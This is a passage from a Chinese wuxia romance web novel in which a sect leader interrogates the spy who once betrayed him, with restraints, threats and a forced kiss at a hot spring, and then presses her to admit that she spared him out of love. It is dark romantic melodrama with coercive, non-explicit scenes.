她带着点不在乎的笑,将那些东西一一拿起来看。 她的一只白玉耳环,不知什么时候掉的。 簪子,是那时顾怀瑾要下山相看,她被他送入凌绝阁内,要李玄白保她,她怕他真将她忘了,刻意在房间内留下的。 他果然将这支簪子留下了。 李玄白那把白玉折扇。扇柄是象牙的,扇面是贝母所制,偏着光看,流光溢彩。 她还记得,那时,顾怀瑾顾忌着君子之道,那么爱她也不肯吻她,自欺欺人地隔着这把扇子亲。 这扇子,她还以为丢了,怎么竟然在这。 那柄乞巧节在集市上买来的玉梳。 那时,他还不知当晚便要相杀死别,笑着梳起两人的头发,说是结发。 她叹了口气,心里一阵闷涩。 还有一颗棋子。 是枚白棋,沾了点红艳艳的东西,不知那红的是什么,也不知这东西有什么好留着的。 她不明白,也想不通,自顾自在那摇椅里坐下。 一整间密室,全是从前她的私物。 何必如此,何须如此?他在外面,就在旋梯之下,甬道之外,一墙之隔的地方,刚给她备了一桌子亮晃晃的刑具。 结果,竟然在此藏着她多年前的私物。 她简直无法将两者联系在一起。 他究竟是想要怎样? 摇椅吱呀吱呀仰摇着,一下一下,她窝在摇椅内,百思不得其解。 顺手,抓起了地面上零落着的东西。 女子的发髻、女子的衣衫、女子的指尖,但被撕碎了,只有一半。 再拣一片,是个重重密林中间,提灯披衣而来,踏在一条窄舟之中的女子。眉眼温柔,笑靥如花。 她心里突地一跳。 还是她。 是他亲手所画。天山当年的第一丹青手,时隔多年,细节纤毫毕现,神态栩栩如生。即便被从中撕碎,裂为两半,依然瞧得出眼波楚楚。 只是…… 只是,那眉目郁艳的女子,被朦胧灯光映得如水波般醇柔的面孔上,溅了些星星点点、狰狞杂乱、毫无怜惜的……白斑。 最初,连她这样玩弄人心的好手,都未想明白那白斑是什么。 想明白之后,她腾的一声从摇椅上站起,踏得石砖嗵一声,心脏狂跳,口干舌燥,两步跨回石阶旋梯,狂奔而出。 第118章 顾怀瑾站在他那密室甬道的门口,刚欲抬步跨入,便听见甬道深处,一道碎而急的脚步声,从涡旋石阶上旋转而下。 他顿了一瞬,好整以暇地撤出脚步,微微冷笑。 她看见了? 那串脚步声很快奔到了旋阶的尽头,自幽深晦暗的甬道深处,一路仓惶向外。 他适时地一步迈出,挡着。 南琼霜不论如何也没想到,他对她,竟然还怀有这种心思。 他从前,哪里是这种人。同床共枕了那么久,他都硬忍着不肯碰她,甚至连亲都不肯亲,若无李玄白那柄扇子,连那种退而求其次的吻,恐怕他都不肯放纵。 如今,怎么成了这种人了? 黑暗里,她心乱如麻。 大脑无事生非,她一面跑,一面看见,他拿着她的画,攥得手背青筋暴起、画像皱成一团,他蒙着眼,仰在躺椅里,人一面疲叹,一面勃勃,弓起身子,自恨又自怜。 并且,想着她。 或者想杀她,或者欲求她。 或者既想杀她,又欲求她。 或者一边想杀一边欲求。 她不敢再深想了,旋梯的石阶湿滑窄小,她一步踏空,险些直直坠下,堪堪稳住身形。 行刺这么多年,没见过这么莫名其妙的男人,从前他光风霁月的时候,就不大正常,如今再相见,他整个人诡异的不仅是语气,还有…… 砰一下,她撞在一个坚实的东西身上,弹开两步。 面前人小臂伸到她后腰,将她安稳兜住了。 忍冬花的暗纹,玄黑衣襟,她不消抬头,也知道来人是谁。 顾怀瑾笑得意义不明:“去哪了,娘娘?” 南琼霜极想退开,奈何被他一只手臂圈 住后腰,半分也退不得,眼睁睁看着自己被他压进怀里,胸口相贴。 抬头,入眼便是他的喉结,和脖颈上惹眼的痣。 她口干舌燥地吞咽了一下。 “怎么不说话。”他轻飘飘笑着,“娘娘看见什么好东西了,同顾某说说。” 她实在是无话可答。 今日,冒险进去一探究竟,是因为觉得死到临头,再坏也不过如此。 可是,真看见了,方知一切还可以更坏。 她唇开了又合,合了又开,犹豫再犹豫,连一句虚与委蛇的谎话也想不出。 顾怀瑾笑了,手从她腰间抚上她的背,宽大的掌,一路覆盖,一路抚摸,咄咄逼人的温柔。 她后背一阵鸡皮疙瘩迭起,不知是窘迫还是什么,呼吸竟然急促起来,扭着身子一躲。 顾怀瑾却笑得平静: “真怕我?有意思。” 她知道瞒不过,干脆承认,竭力将两人的胸口别开: “我看见了,你要杀便杀。” 顾怀瑾冷哼着笑了一声:“杀?你也就只会拿这些大话来威胁我。要杀便杀?” 他一把将她拎出了甬道,跨回了水汽氤氲的长生泉之内。 汤泉池边烛火琳琅,摇曳烛光映得他深邃高挺的面容一半柔融,一半晦暗,他声音温柔如当年: “你就算死,也得给我把事情一五一十吐干净了再死。” 说完,面无表情按下那块墙砖,将石墙复了原,一面松了手,不再强拥着她,反而跨出半步,同她隔开。 南琼霜垂眸笑笑。 顾怀瑾:“手伸出来。” 她不明就里,但也知深入虎穴,难以反抗,伸出一双细腕。 咔哒两声,又是一对闪着光的银铐。 她有点心烦,闭了闭眼。 顾怀瑾:“手举起来。” 她无奈举起一双胳膊。 顾怀瑾循着她两臂,一路细细摸索,她的肩,她的颈,她的长发,无一不被他仔细摸过。 这时,她才明白,顾怀瑾要她谈话前先来温泉内沐浴,本意是搜身。 他知道,她身上大约藏了许多关窍,于是假借什么莫名其妙的麒麟草之名,要她将身上所有暗器,全部脱下,连衣服,也要换成他为她备的衣裳。 是她五年前的白衣,不知他从哪里找来的,竟然留到了现在。 她垂着长睫,尽量心平气和,勉强忍受。 不长不短的一段日子,连连被他设局算计,不仅被骗上了山,连身上赖以自保的暗器药丸也要被他尽数收走,她何曾束手无策到这地步过。 顾怀瑾搜完肩颈,拨开她的长发,仔细查验她身上首饰,连她指上戴着的藏着蛛罗丝的戒指,也被他一只一只撤下收走。 搜完了首饰,两只手张开,覆在她两边身侧,自她腋下,一寸一寸,往下抚摸。 他两手覆上她身侧的一瞬间,不知为何,她身不由己地提了一口气,憋在肺里,不敢呼吸。 为什么这么紧张? 或许是他的手掌太热了。 顾怀瑾缚着眼,那黑绸衬得他自有一派冷峻疏离不为所动之意,修长的手指宽大的掌,若无其事覆上了两道圆弧的侧边,若无其事地压入掌心,若无其事地停留,若无其事地向下。 她好似听见自己的神经噼啪断裂。 他两只手,烫到,不仅他自己要遭殃,还将这股燥热渡给她,一点一点,从她的皮肤,侵入她的大脑,蚕食她的理智。 顾怀瑾是素来关涉到她就无法理智的,他如今性情大变,没准已经破罐子破摔了,但她——不行。 她将肺里屏着的气吐出一点,带点警告之意: “顾怀瑾。” 顾怀瑾事不关己地抬头,两只炙热的手掌向下,两边掐住了她的腰,她顿觉腰上印了两只张开的手,烫得恼人。 再往下,就是她的腰窝。 他玉白的手指,隔着衣服,在她的腰窝里团团打着转儿。 “怎么。”他笑,“一个被我关上山的细作,也敢直呼掌门名讳了。” 面色不动,可是,鼻尖上出了一层细密的汗,人也喘得促急紊乱,热气灼灼。 欲盖弥彰的呼吸。 搜身? 哪里有人搜身,搜成眼下这情形的。 长生泉旁水声潺潺,一切静谧而潮湿,白汽雾吞吞的浮在空中,寂静而闷窒。 偶尔有水滴,滴答一声,惊破水面。 除了水声。 唯有两人相对的、一重沉过一重的呼吸。 这种呼吸,谁不明白。 他想要。 但她。 她看着他绸带底下两片柔软的唇。 她也未必不…… 忽然,眼光一瞥,瞥见墙边桌上,一排狰狞的刑具。 未等讲和,先有绮思。 不能再这样了。为什么他们两个只要见了面,魂魄还未同意,身体就想纠缠在一处似的。 那一排钳、鞭、夹棍、头箍,可全是为她准备的。 南琼霜急急往后跨开一步,从他身前抽身而出,拉开距离:“不是要问吗?快问。我可不能保证,过一会……” 过一会,雾刀会不会找来。 顾怀瑾两手搁在她腰上,正玩着她的腰窝,原本还未想收回,被她撤身退开,有些给人面子人家不肯要的下不来台之意,嘲弄笑了一瞬: “一个细作,我还未想开始审你,你倒开始催我了。罢。” 他走去桌边,手掌按在桌缘,漫不经心地挑了一阵,最后选中了那副夹棍,将捆着的绳子解开: “没想叫你上刑架,你自己偏要上刑架。没想叫你死,你几次三番说要死。我一向什么都依你,说得多了,又怎能不遂你的心意。” 说着走来,含笑在她纤纤十指上依次套了夹棍,却不忙着收紧绳子,拿着她的手,大拇指玩弄似的摩挲她的手背。 “说吧,当年的事,究竟是怎么回事。”他笑,“为什么要杀我,为什么要窃走镇山玉牌,坠崖之后谁带你走的,走之后去了哪里,一件一件,说。” 南琼霜听了他这些问题,一阵笑。 这些事,是他最想知道的,也是她最不可能说的。 她抬起头看着他,和颜悦色道,“这些问题,都说不了。你换些问题问吧。” “哦。”他散漫玩着麻绳的两端,无意似的将那绳子抽紧了一些,她登时感觉木棍抵在她十指上,“那么,我来说,你来听。” 他指尖拈着麻绳转着,“你乃是隶属于往生门的细作,与那二人同属一家,不过或许职责不同,因而你身上没有那烙印。否则,为何那两人会是你的侍女。” 她笑,“就不能我是无辜的,往生门派了两个细作,潜伏在我身侧?” 顾怀瑾闻言,见怪地笑了一声,“你是无辜的?” 他屈起食指蹭了蹭她的脸颊,声音里带了点阴戾的溺爱,“你还有无辜的时候?哪怕太阳打西边起来,你也没有无辜的时候。” 他揣起袖子,“皇上疯症发作那一天,那一方帕子,盖在皇上鼻尖上,他顷刻便晕了过去。你借迷药控制皇上,是不必多说的事。” 她勾起一点冷笑,懒得理会。 “我并不十分了解你们往生门。不过,就手里的这点情报而言,你们细作似乎也分好几个门类。有些是根骨奇佳的习武苗子,武功上乘,还有一些,是……” 他捋着她垂落到胸前的发丝: “……你这般。” 他笑: “你说,是不是?” 南琼霜垂下眼,不可置否。 “所以,”他道,“往生门在哪。” 她无法回答,看着手铐上一个反光的光斑。 “往生门在哪。”他倏地抓住了她胳膊,“说。” 她不答,不知怎的,倒有点玩心,一只手从夹棍中撤了出来,自己去收那两根麻绳。 夹棍顿时卡在她五指上,顷刻将她纤白的手指夹红了。 “说。”顾怀瑾语气终于阴狠起来。 她不在乎,自顾自地试夹棍。 卡得痛了,倒还爽快,她笑吟吟地看着自己手指充血。 顾怀瑾垂首一瞬,眼睛蒙着,倒也不知是否在看她的手。 但什么也没说,由她。 他今天,必须从她嘴里听见一个答案。 “听见没有。”他骤然上前一步,抓住她胳膊的手缓慢使力,另一只手抵在她背后,恶狠狠地,将她一点、一点搂进怀里。 他道: “乖,我再问最后一次。你再不答,我也有的是办法。我可不似从前好脾性了。” 南琼霜抬起眼来看他。 顾怀瑾面无表情。 她忽然带着点揶揄,眨眨眼。 “拷问归拷问,拷打归拷打,你没完没了地摸我做什么?” 第119章 顾怀瑾抓住她胳膊的手,大拇指终于停了一瞬。 按在她背后的另一只手,也后知后觉地止住了抚摸揉搓,安分片刻。 心中难堪而后怕。 他到底是在做什么,究竟何时开始的。 他独自一人反思了五年,终于痛下决心,再见面,不论任何方法,务必给天山一个交代。 结果一边逼问,一边搂着摸着,一刻也未放开过。 他唇紧紧抿着,胸口起伏,偏开脸。 许久,他放开手,后退一步,两个人总算彻底分开。 “你是打定了主意,不肯说,是吗。” 她轻轻道:“我不能说。” “为什么。”他笑得飘渺,明明是武功天下闻名的人,竟然苍白得一阵风就能吹跑了似的。 “往生门就这么值得你效忠吗?值得你做到这一步?宁可叫我拷打你,也要对他们效忠?!” 她眼睛顿时红了,抿着唇。 “为了他们,杀我,骗我,窃走镇山玉牌,顾氏三百年基业一夕之间倒了,我惶惶如丧家之犬,下了山,病得差点死掉,被和尚捡去,出家,找你。就为了他们,你要对我做到这地步,我想问问,我究竟哪里对不起你!?” 她闭上眼,不敢看他。 “说话!”他骤然抓住她肩膀,恨她入骨似的,十根手指几乎要抠进她胳膊中去: “说话!把我害到这一步,给你自己换来什么了?!拿走镇山玉牌,毁掉我的人生,究竟给你自己换来什么了?!天山派因我而倒,我成了门派罪人,我是如何一心向公,你不是不知道——” 说到这,他带了哭腔,她也一下子哭了。 顾怀瑾对他的门派,从前,宋瑶洁评,是“万死不辞”四字。 “你究竟恨我到何种地步,要对我做这种事!我为了山上,什么都能忍,慧德骑在我头上十年,我也未肯多说一句,是后来他欺辱你,我才渐渐不能忍他。原先我事事为山上,后来一半为山,一半为你,人人都对我说你是细作,我没有信,我信的是你!” 他渐渐吼得声嘶,黑绸底下,又开始往下淌血泪,她瑟缩着肩头,眼泪大颗大颗掉在胸前衣襟上,不自觉收着夹棍的麻绳,一句话也无法回。 “我信的是你!当年,就因为爱你,山上闹得流言遍地,满天风言风语,我六七年做少掌门的威望美名毁尽,差点连少掌门也不做了,就为了保你!你出了事,我翻遍全山也要寻,你被人为难,再不能得罪的人我也得罪,为了你,闹得山上人人怕我,怨声载道!” “结果到头来,到头来,”他忽然咯咯笑起来,唇角咧开,连上了颊侧两道血痕,狰狞悚人,“到头来,他们说的全是对的。错的是我,傻的是我。就因为我一个人犯傻,拖累了全山,因为我一点情爱,拉所有人往黄泉路上狂奔。” 他笑得哆嗦起来,抖得骨骼快要咯吱作响,“说吧,往生门在哪,怎么去,内部如何构造。我今天必须要知道。” 她捏着拳,泪如雨下,人像窒息了一般喘不上气。 “说。”他道,“从前犯过的错,我绝不会再犯。今日,你不说,我绝对会杀了你。” 她闭上眼笑了一瞬,葡萄大的泪珠咕咚咕咚往下滚,身上仿佛被抽去了所有气力,软得站不住。 “干什么!” 哗啦一声,顾怀瑾忽地将一个东西猛然挥开,那夹棍稀里哗啦飞出去,噼啪着掉了一地。 她才发现,她控制不住地收紧了夹棍,左手手指已经被夹得紫红肿胀。 “拿这个又有什么用!只要你对我坦白,我去报仇,事情就解决了,何必在这里折磨自己又折磨我,你真当我还会吃你的苦肉计吗?!” 苦肉计? 她笑起来,她根本没觉得疼啊。 当年,杀顾怀瑾前,她反复做过一些噩梦。有时,是没杀成,她放弃了,转头跃下含雪峰。有时,是坦白了,顾怀瑾得知她是细作,转头杀了她。 但没有做过这种梦。 她下了手,但没杀成。不仅血仇结下,还要含着恨重逢。 她不怕任何人恨。但顾怀瑾…… 别人恨她,她都不在意。 她咬着牙,一边落泪一边忍泪,憋得几乎缺氧,头晕目眩地趔趄两步。 顾怀瑾伸出手想扶她,虚虚在她身边圈了圈,终于还是收手。 她闭上眼。 杀她,可以。死是容易的,如今,死在他手里,她心甘。 可是,坦白,未必可以。 死是没有后顾之忧的。 叛门,后患无穷,不是他声嘶力竭着问她,她就可以决定的事情。 至于死。 一个细作,早晚要有这一天。 她道,“你要杀便杀吧,我没什么。” “要杀便杀?要杀便杀?!”他抽搐着笑起来,每个字都咬得恨而凶,“又跟我说这些大话!要杀便杀,说得倒是容易——你当年从悬崖上掉下去,你倒是走得干净,我这五年是如何过来的,是如何生不如死,我自己才知道!要我杀你—— 你当我有你这么蠢——” 他自袖中掏出一柄匕首,嚓的一声拔出了鞘,手上将刀鞘一撇,当啷一声砸在温泉池的石地上,回声阵阵: “给你!要杀你自己杀!别指望我!你当我会做你这种蠢事,你看看你现在哭的这个样子!你又如何好受了!你当我是你,宁愿午夜梦回自己受折磨,也要狠心动手,你以为你动了手,你自己能过得去吗?!” “你怎知我过不去。” 她整个人都无力,膝盖软了一瞬,身不由己地往下坠了一截。 顾怀瑾到底还是上前一步,扶住了她,她却依然虚软得站不住,他不得不将她扶到怀里靠着,一边搂着,一边嘶吼: “又说大话。嘴比骨头还硬!你若是过得去,怎么会叫我杀你?!你若是好受,又自己用什么夹棍?!一个狠心到连爱人都能杀的人,怎么会无缘无故哭成你这个样子,到了这一步,还要激我——” 她红着眼睛,眼里悲哀又嘲讽:“你算我什么爱人。” 顾怀瑾连串的话终于停了一瞬。 她固执道:“我没爱过任何人。” 顾怀瑾连呼吸也停了一瞬。 良久,他一向克制疏离的脸,连面皮都细细抽搐起来,牙关紧咬着,浑身如一个年久失修的木架子般咯吱作响: “好,好,好。好啊。” 她未及反应,手上被他用力一推,人仿佛被温泉池牵引着似的,不受控制地往后栽去,左脚绊右脚,咚一声,跌进池中。 水里烛光幽茫浑浊,滚烫的温泉水劈头盖脸将她四面八方埋了,再靠着池边站起来的时候,顾怀瑾从池边往下延伸的宽而低的石阶一级一级下来,一步一步踱近,宽大的玄黑衣袍浮泡在水中,像一团不祥的黑烟。 他走到她面前站定,冷静沉着: “说。说你爱我。” “不然,”他拿着那柄匕首,往水中一指,“我把你在这里溺死。” 南琼霜双手铐在一处,眼睛哭得发痛,喘得像个病入膏肓的人。 她将两手并在一起,勉力将黏在脸上的碎发拨去,露出一张清水芙蓉、天然璞玉的面孔。 他看着她那张去了所有脂粉,依旧出尘夺魄,如霜似雪的脸孔。 珠玉容貌,浑然天成。 或许正是因为刚刚在水里浸过,她长发白衣垂顺地黏在身上,滴答往下缀着玲珑水珠,发和衣服都显出丝绸般的光泽。 人娉娉袅袅立在水波中央,身形婀娜,一派圣洁姿态,仿佛出水的神女。 他无法控制地,注意到她挂着水珠的羽睫,和不画自丹的两片唇。 ——那两片唇,他从前梦寐以求,后来有幸缱绻吻过,再后来,又只能梦寐以求。 他不在她身边的这些年,得有多少人爱过她啊。 他笑得温柔:“死这吧,好不好。” 她不知为何,也不生气,倒是走近了,白衣往后拖曳在水中,成了一朵绉褶的喇叭花。 顾怀瑾看着她满面水珠,面容晶莹得像幻梦,走近他身前,自然而然被他收进怀里,在他下巴底下,仰头望他。 南琼霜轻轻道:“你真想杀我?” 顾怀瑾摸着她的唇呢喃:“我陪你啊。” 她嘴唇哆嗦了半晌,眼睛红着,望着他那张因为黑绸带,说熟悉也不熟悉的脸。 “如果连这种话都说了,”她低下头,把哽咽吞下去,又执拗抬起脸来,“把你的绸带摘下来,让我看看你。” 他笑了一下。 这有什么难的。 自称眼睛不好,不过是他对外藏锋的一种手段。其实他比谁眼睛都好。 至于她。 她连他密室里的东西都看见了。 顾怀瑾一手按着她后腰,顺从将那黑绸带,从脑后解了下来。 他睁开眼睛。 南琼霜什么都没说出来。 夜深人静的长生泉,万籁俱寂着山摇海啸,她几乎要倒下去。 她怎么解释? 视线交错的一瞬,她就知道他还是从前的顾怀瑾。 顾怀瑾看着面前人,突然发觉一件事。 如果要逼问,他不该亲眼看她。 他该更有自知之明的。 她脑子里嗡的一声,滚滚落下泪来,才发现嘴唇忽然被人吮咬着,被人衔在湿润的唇间,揉捏搓捻。 第120章 腰被人搂着,她仰在他臂弯里,他头往下压,压得她不得已仰头受着,不仅是唇的黏合,舌也气势汹汹地缠吸着,往下、往下、往下,他的呼吸,一茬重似一茬,喷薄在她鼻间。 气势汹汹的吻,很难说究竟是思念还是报复。 五年没有吻过,都是她害的,都是她害的。 他一面吮她的唇珠,一面在她舌间搅缠,手按着她的后脑,迫使她往上迎他,气喘勃勃: “说爱我。说不说?!” 她哪里有余裕讲话,吻得这么凶,他根本就没打算容她说话。 他忽地将握在手中的匕首横在她颈间,刀锋浸了温泉水,一线细细的温热的线,她忽而想起,她第一次见顾怀瑾,便是雾刀拿刀假模假式地横在她脖子上,是顾怀瑾从他手中救她。 从前那么温润君子,如今,竟然抵着刀子,逼吻她。 “说!”他吐出一个字,就去含她的唇,刀锋比在她颈间,割断她几根发丝,“你到底说不说,我问你!” 她恨恨地咬他的嘴唇。 顾怀瑾吃痛,但也绝不肯放开,一把把她抵到池边,顺着下巴一路吻下,一口咬在她颈侧,含恨印出一圈牙印。 她仰着脖子嘶了一口气:“疯子!” 他不答,一面在她颈侧吻着,衔起一点娇嫩的皮肉——他还记得她最受不了人亲脖子,一亲脖子就会听话。 “说不说!” “疯子,疯子,疯子!”她仰起头轻泣一声,红着眼圈骂,“你放开我!” 他垂下头,又去咬她的锁./骨,嗑得她薄薄的皮肉渗出血印子来,泡在水里,一阵刺痛。(审核。锁骨都不能写了?) 顾怀瑾不理,大拇指去摩挲她的脖子。指纹刮蹭着她皮肉,她手被铐在一处,想挣扎都无法,像只鸟儿,本能地鸣啼,脑子里一阵耳鸣。 他今天是疯了吗? 罢了,他早就不正常了。 那她呢? “你干什么,顾怀瑾。”她连名带姓地唤他,声音绵软得自己都不敢相信,“你不是来审我的吗?拷打我?” “拷打个屁。”他气喘着笑起来,“什么东西都没用,你就哭成这样。净说大话。” “说你爱我。”他手上推捏着,却忽然抬起眼看她。 她眼睫湿漉漉的,眼圈红得像命不久矣的桃花,眼皮上两三根红丝般的纤细的血管,仿佛一只破碎的白瓷瓶,从裂纹里渗出血来。 怎么这么可怜啊。 逼问她,没等逼出任何,他就先觉得她可怜了,甚至她自己都还没服软。 那根绸带,就不该摘。 他偏着脸去吻她的唇,把她抵到池边:“说,说你爱我。” “我爱你啊。”她抬起通红的眸子。 他手上动作顿了一瞬。 她一向嘴硬,他怎么也没想到,听见这几个字,会这么容易。 “但是,”她带点悲哀的嘲弄之意,“你知道我是谁吗?” 顾怀瑾愣住了。 “我的脾性?我的喜好?我的过去?我见过什么人?我失去过什么人?我做过什么事?” “我的习惯?我的理想?我的愿望?我的原则?我的朋友姐妹?或者,最简单的——” 她轻轻吐字: “——我的名字?” 顾怀瑾抓着她的肩膀,半个字也没有,只是沉沉望着她。 “你了解过我吗?认识我吗?” 她双手缚着,却反而上前一步,逼到他下巴底下,抬头 ,一双黑眸虽然悲哀,却清明而炯炯,再不似从前天山上水雾迷蒙,她弯着眼睛笑起来: “你看清楚了,我不是楚皎皎。” 一颗泪从眼角滑落下来,她却忽地畅快,一字一字,清脆如盘中落珠: “我不是她。” “我明明白白地告诉你,我不是她。” “那一年兰阁禁地乞巧夜之后,世上再无楚皎皎。她死了,死在含雪峰底下。” 顾怀瑾发起抖来。 “我不过与你那位故人长得像些。你要缅怀故人,去含雪峰底下,找不到尸首,就立衣冠冢,别来这里打扰旁人。我没有闲心陪你玩破镜重圆,你那位娇娇弱弱、楚楚可怜的故人,你大可以自己在夜里心疼。至于我——” 她说着,轻快笑了,摇摇头: “我没什么可怜的。” 顾怀瑾看着她那双美丽,但笼中困兽一般的眼睛。 一个决绝而自苦的人。 他不知道,是不是因为他爱她—— 她这一番不留情面的话,让她看着更可怜了。 “怎么,”他缓缓开口,“你以为我爱你,全是因为你从前那副可怜姿态?” 南琼霜愣了一下。 “我被慧德罚瀑下入定,来接我的不是你?我中蚰蜒蛊,陪我治伤的不是你?我挨了七十鞭子,不顾禁令来给我上药的不是你?当年菩提阁内,衡掌门要动你,我不准,慧德往我头上砸了一杯子,那个时候差点站出来,自愿领罚的,不是你?!” 他每句话,她都跟一颗泪,但偏执地发着狠:“都是我演的。我需要你动心。” “演的。”他冷笑着嗤了一声,气得不知说什么好,“好,好。演的。” “那我问你,”他抓住她两边胳膊,骤然又将她抵到池边,逼迫她抬起长睫,直视进他眼底,眼里亮得惊人: “当年,杀了我之后,你进来取镇山玉牌,又何必含着泪,对我说什么‘要爱自己’?!” 她心里轰隆一声。 但捏出一派不在乎的姿态,含着泪笑:“心里有愧,说些大话。” “大话。” 顾怀瑾笑起来,一面笑,一面连连点头,半晌,一掌拍在水里,惊雷般的一声,她吓得往他怀里缩了一下,满池的温泉水忽而排山倒海般炸飞上天花板,整个温泉池内顿时下了一场瓢泼热雨,他搂着她道: “那我问你,那平安牌又是怎么回事?!” “什么平安牌?”她睫毛湿淋淋的。 “法门寺前的平安牌!”他吼,“当日你坠下瀑布杳无踪迹,我下令全山寻你,遍寻不得,最后山上大火,我反而在法门寺中寻到了你,那时,你写的平安牌!” “你怎么知道是我写的?” “你的字迹!”他又往池中重推了一掌,温泉水海啸一般咆哮着滚出池外,撞在墙上,冲得房梁微微打晃。 “你怎么知道是那个时候?” “有山火熏出来的黑印子!”他几乎声嘶,胳膊恨恨地束她的腰,大拇指来回摩挲,“你还不肯承认吗!” 她两手被捆着,贴在他腰腹上,揪着他的衣服:“我胡写的。” “胡写的?!”他眼底忽地迸出两行鲜红的血,一瞬间挂到了下巴,滴到她雪白衣襟上: “山上大火,人人逃难,连狐狸猴子都往山脚下跑,你自己一个人,躲在山寺里,莫名其妙地不肯逃跑,不知发的什么疯,在那里给我写平安牌!不止什么一生平安,连婚姻美满都给我写上了——”他咬着牙笑,“胡写?!真是疯了!” “‘顾怀瑾,一生平安’,‘顾怀瑾,一生平安’,这种牌子,你给我写了两个——” “在山火里,还要祝我一生平安——到头来,那一剑也是你刺的!我简直不知道你在想什么!” 她无言,整个人控制不住地发抖,不去看他。 “那两块平安牌,你何曾对我提过!若不是我后来自己到法门寺去,如何知道你给我写了这个!这也会是演的?!你演了却不告诉我!?” 她筋疲力竭地闭上眼,长出一口气,脸上的水已经不知是泪,还是从天花板掉下来的温泉水。 “我问你!为什么一面杀我,窃走镇山玉牌,”说到门派,他便哽咽,“一面又祝我什么一生平安,连山火都不知道逃!” 因为,山火那时,她本可以趁乱出山的,她本可以逃出这场两败俱伤的诅咒,自此天各一方,再也不见。 “是演的。”她道,抬起一双硬得像冰坨子的眼睛,“你不认识我,我没爱过你,都是演的,别多想了。” 顾怀瑾一口气哽得差点上不来。 “好,好,好。真是嘴比骨头还硬!” 他忽地呛咳了一声,口里喷出一口血沫,溅在她白衣上,偏过头去,控制不住地捂着唇咳了一阵,终于用水将下巴上的血涮净了,“那我最后问你一个问题。” 南琼霜提心吊胆地看着池中打着旋儿被冲淡了的血。 顾怀瑾抓住她两臂,逼她抬起眼来认真看他。 他嘴里还在往外渗血沫。 “要不今日算了……”她终于开始轻声哄他。 “我问你,”他不理,咽下新涌上来的血,偏激又执拗,咄咄逼人: “你真不知道我的心脏在何处?” 南琼霜猛地顿了一下。 “明知天山上有过类似的事,明知天山自此以后对类似的人类似的事深恶痛绝,他们却还有胆子派你来。想必你在你们那里,是叫得出名号的吧。” “一个明知山有虎,却还是被寄予厚望、派来捉虎的细作。” “那么多日子,我们日日夜夜共枕同眠,整日靠在怀里说话,你哪有一个晚上我不是抱在怀里睡的?!” “——你告诉我,你不知道我的心脏在右边?!” 南琼霜倏地垂下两睫,用力闭上眼。 “你没杀成,不是失误。” 他声音忽然放轻了。 手爱怜地覆在她脖子上,大拇指轻轻刮着她的下巴尖,爱不释手地摩挲,声音轻得像耳语: “你根本就是放过我。” 她双唇抿紧,人像抽搐一般哆嗦起来,硕大的泪珠从眼睫间滚出,扑簌簌落。 她低下头。 顾怀瑾垂首,让她的额头抵在自己胸口,揽在她后腰的手,大拇指刮个不停: “所以,你就是爱我。承认吧。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 她其实,很难堪。 她一向以绝顶清醒自傲,爱上一个注定反目的人,于她而言,是种耻辱。 因为这份荒谬的爱,一时软弱,害得自己事倍功半,就更耻辱。 这样的事,若叫上天山前的南琼霜听见了,一定会被她笑,“极乐堂不养蠢人,回去讨饭吧。” 如今,她自己也要被从前的自己笑了。 她抬起眼,一双眸子,脆弱又乖戾: “那又怎样?我爱你,那又怎样?有什么用?我不明白你逼问我这个做什么。难道因为我心慈手软,你就肯放过我?” 顾怀瑾闭了闭眼。 大拇指按着她伶俜锁骨,来回勾画,许久,没有说话。 南琼霜不知道他在想什么。 寂静的长生泉内,水汽蒸腾,一切都蓄着水珠,空气重得简直堆塞在一处,白汽慢吞吞地在烛火光晕中腾挪。 顾怀瑾阖着眼睫,不发一言,她几乎以为他在冥想。 许久,远处一颗水珠滴答入水,他睁开眼。 他道: “……我不管你信不信。” “其实,我根本没想拿你怎样。不管是报复,还是拷打,还是审讯,还是下毒上刑。” “所以,你也不必开口闭口要杀要剐,又要赴死,又要用刑。” 南琼霜简直没明白他在说什么。 他长睫半垂着,清泉般的眸子里,投下一点羽扇般的剪影,眼底一片悲哀红意。 可是,那双眼,再发红,也仁厚,不是野兽一般薄情寡性的一双眼。 他轻轻道: “我知道你有苦衷。” “即便你不说,即便没有你在船上那一句话……这五年,我也知道你有苦衷。” 南琼霜简直站不住,人不由自主地抽搐。 “所以……” 他摸着她的锁骨,向上抚摸她的脖子,大拇指一下一下,顺着她下巴尖摩挲着。 “所以,说吧。说你有什么苦衷。” “只要你告诉我关于往生门的一切,我……我或许可以原谅你。” 南琼霜说不出一个字。 原谅。 她做梦也没想过,他嘴里会吐出来这两个字。 原谅? 原谅? 这种事情,他肯原谅? 不打,不骂,不怨,说他原谅? 她不知道他是不是疯了。还是他经历变故,人真的不大正常? 或者,他知道她爱他——知道她的弱点——故意用这两个字来骗她,诱使她开口? 她——她想不通。 想不通的时候,她一向按最坏打算。一个细作,她靠着这种悲观逃出生天。 她笑了一下,笑得眼泪从眼底挤落: “少骗我。你用刑倒还能快些。” 顾怀瑾最恨她像刺猬一样,把浑身的刺竖起来对他。 他都说了不想用刑,她听不懂吗?怎么就这么倔,好好说话,不肯听,就那么喜欢你死我活吗?! “用刑?”他冷笑一声,“怎么用?谁来用?你当我是你,会自作聪明地把心一横,刀枪剑戟上一遍,然后日日夜夜地自己折磨自己?我告诉你——这种蠢事,只有你会做。” “原谅——你说原谅,也是蠢事。” 她上前一步,眼里泪花点点: “我若相信,就更蠢了。推己及人,这种事情,没有一个人会原谅的。你不必说这种话来骗我,这么多年,我见过多少背叛,夫妻反目、父子相弃,又有谁是原谅得了的,到最后,不都是恨不得置对方于死地——你以为,你以为,当年,我刺下那一剑的时候,没有这种觉悟吗?!” 顾怀瑾怒得浑身关节咯吱作响,控制不住地战栗,“怎么,我不伤你,你倒不满意。你这人从前就有点毛病,痛起来反而舒坦了,是不是?!你自己爱发疯,还要带上我?!” “谁发疯?!谁发疯?!我不知道你是为了骗我什么,你连这种话都敢说——” 她忽地又带了哭腔,声嘶力竭: “你知道我什么?!认识我什么?!你知道我是谁吗,你就爱我?!连我的名字都不知道——我是不知道你在爱我什么,就爱得连门派之仇都能放了!你不过是知道我爱你——用这一点,到我嘴里套话,去报你的仇——用这一点来玩`弄我——” 顾怀瑾站在她对面,听得几乎懵了,僵硬地听她哭喊。 “你当真以为我会信……” 顾怀瑾忽地站不住,趔趄一步,抠住她身侧的水池边缘,指节绷得几乎透明,垂死似的折下身子,强靠在池边。 哇的一声,呕出一大口血。 南琼霜心惊胆战地看着自己周身的温泉水霎时全红了。她贴在身上的白衣,一瞬成了轻盈的浅绯色。 